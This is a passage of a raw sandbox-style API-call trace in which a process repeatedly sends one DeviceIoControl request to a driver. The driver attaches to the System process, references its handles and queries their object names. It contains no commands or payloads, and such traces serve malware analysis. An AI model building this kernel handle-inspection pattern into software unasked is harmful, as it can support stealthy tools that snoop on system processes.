| out: hHeap=0x270000) returned 1 [0111.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.124] PsAcquireProcessExitSynchronization () returned 0x0 [0111.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.124] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0111.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.124] PsReleaseProcessExitSynchronization () returned 0x2 [0111.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.124] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.124] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0111.124] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.125] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.125] PsAcquireProcessExitSynchronization () returned 0x0 [0111.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.125] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034955f0, HandleInformation=0x0) returned 0x0 [0111.125] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.125] PsReleaseProcessExitSynchronization () returned 0x2 [0111.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.125] ObQueryNameString (in: Object=0xfffffa80034955f0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.125] ObfDereferenceObject (Object=0xfffffa80034955f0) returned 0x2 [0111.125] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.125] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.125] PsAcquireProcessExitSynchronization () returned 0x0 [0111.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.125] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0111.125] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.125] PsReleaseProcessExitSynchronization () returned 0x2 [0111.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.125] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.125] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0111.125] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.125] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.125] PsAcquireProcessExitSynchronization () returned 0x0 [0111.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.126] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002355050, HandleInformation=0x0) returned 0x0 [0111.126] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.126] PsReleaseProcessExitSynchronization () returned 0x2 [0111.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.126] ObQueryNameString (in: Object=0xfffffa8002355050, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.126] ObfDereferenceObject (Object=0xfffffa8002355050) returned 0x2 [0111.126] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.126] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.126] PsAcquireProcessExitSynchronization () returned 0x0 [0111.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.126] ObReferenceObjectByHandle (in: Handle=0xffffffff8000082c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028172c0, HandleInformation=0x0) returned 0x0 [0111.126] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.126] PsReleaseProcessExitSynchronization () returned 0x2 [0111.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.126] ObQueryNameString (in: Object=0xfffffa80028172c0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.126] ObfDereferenceObject (Object=0xfffffa80028172c0) returned 0x2 [0111.126] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.126] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.126] PsAcquireProcessExitSynchronization () returned 0x0 [0111.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.127] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800218eaa0, HandleInformation=0x0) returned 0x0 [0111.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.127] PsReleaseProcessExitSynchronization () returned 0x2 [0111.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.127] ObQueryNameString (in: Object=0xfffffa800218eaa0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.127] ObfDereferenceObject (Object=0xfffffa800218eaa0) returned 0x2 [0111.127] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.127] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.127] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.127] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.127] PsAcquireProcessExitSynchronization () returned 0x0 [0111.127] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.127] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800263ed90, HandleInformation=0x0) returned 0x0 [0111.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.127] PsReleaseProcessExitSynchronization () returned 0x2 [0111.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.127] ObQueryNameString (in: Object=0xfffffa800263ed90, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.127] ObfDereferenceObject (Object=0xfffffa800263ed90) returned 0x2 [0111.127] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.127] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.127] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.127] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.127] PsAcquireProcessExitSynchronization () returned 0x0 [0111.127] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.127] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002346960, HandleInformation=0x0) returned 0x0 [0111.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.127] PsReleaseProcessExitSynchronization () returned 0x2 [0111.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.127] ObQueryNameString (in: Object=0xfffffa8002346960, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.127] ObfDereferenceObject (Object=0xfffffa8002346960) returned 0x2 [0111.127] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.128] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.128] PsAcquireProcessExitSynchronization () returned 0x0 [0111.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002309370, HandleInformation=0x0) returned 0x0 [0111.128] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.128] PsReleaseProcessExitSynchronization () returned 0x2 [0111.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.128] ObQueryNameString (in: Object=0xfffffa8002309370, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.128] ObfDereferenceObject (Object=0xfffffa8002309370) returned 0x2 [0111.128] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.128] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.128] PsAcquireProcessExitSynchronization () returned 0x0 [0111.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000860, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038d8190, HandleInformation=0x0) returned 0x0 [0111.128] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.128] PsReleaseProcessExitSynchronization () returned 0x2 [0111.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.128] ObQueryNameString (in: Object=0xfffffa80038d8190, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.128] ObfDereferenceObject (Object=0xfffffa80038d8190) returned 0x2 [0111.128] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.128] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.128] PsAcquireProcessExitSynchronization () returned 0x0 [0111.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000864, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800374d660, HandleInformation=0x0) returned 0x0 [0111.128] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.129] PsReleaseProcessExitSynchronization () returned 0x2 [0111.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.129] ObQueryNameString (in: Object=0xfffffa800374d660, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.129] ObfDereferenceObject (Object=0xfffffa800374d660) returned 0x2 [0111.129] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.129] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.129] PsAcquireProcessExitSynchronization () returned 0x0 [0111.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.129] ObReferenceObjectByHandle (in: Handle=0xffffffff80000874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0111.129] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.129] PsReleaseProcessExitSynchronization () returned 0x2 [0111.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.129] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.129] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0111.129] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.129] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.129] PsAcquireProcessExitSynchronization () returned 0x0 [0111.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.129] ObReferenceObjectByHandle (in: Handle=0xffffffff80000884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800200a420, HandleInformation=0x0) returned 0x0 [0111.129] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.129] PsReleaseProcessExitSynchronization () returned 0x2 [0111.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.129] ObQueryNameString (in: Object=0xfffffa800200a420, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.129] ObfDereferenceObject (Object=0xfffffa800200a420) returned 0x2 [0111.129] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.130] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.130] PsAcquireProcessExitSynchronization () returned 0x0 [0111.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.130] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0111.130] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.130] PsReleaseProcessExitSynchronization () returned 0x2 [0111.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.130] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.130] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0111.130] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.130] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.130] PsAcquireProcessExitSynchronization () returned 0x0 [0111.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.130] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0111.130] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.130] PsReleaseProcessExitSynchronization () returned 0x2 [0111.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.130] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.130] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0111.130] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.130] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.130] PsAcquireProcessExitSynchronization () returned 0x0 [0111.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.131] ObReferenceObjectByHandle (in: 